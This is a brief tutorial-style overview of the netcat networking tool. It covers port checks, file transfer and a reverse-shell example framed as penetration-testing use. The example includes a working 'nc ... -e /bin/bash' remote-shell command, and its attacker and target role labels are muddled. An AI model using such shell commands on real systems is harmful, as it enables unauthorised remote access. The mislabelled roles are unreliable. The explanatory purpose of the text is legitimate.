Netcat is a command-line utility used for network debugging, testing, and exploration. It allows users to read from and write to network connections using TCP or UDP protocols.
Key Features:
- Port Scanning: Can scan for open ports on a target system.
- Data Transfer: Facilitates simple data transfer between systems.
- Connection Testing: Tests connectivity and simulates client-server communication.
- Listening on Ports: Acts as a server by listening on specified ports.
- Shell Access: Enables remote command execution by creating reverse or bind shells.
- Supports IPv4 and IPv6: Works with modern and legacy IP protocols.
Common Use Cases:
- Debugging Network Issues: Check if a specific port is open or accessible.
nc -zv example.com 80
- File Transfer: Transfer files between systems.
Sender:
Receiver:
nc -l 1234 < file.txt
nc sender_ip 1234 > file.txt
- Creating a Simple Chat: Two users can communicate by connecting to each other using netcat.
- Reverse Shell: Useful in penetration testing.
Listener:
Attacker:
nc -lvp 4444
nc target_ip 4444 -e /bin/bash
Netcat is a great tool for network administrators and security professionals due to its simplicity and versatility.
Build your own netcat is available with a project breakdown on Coding Challenges.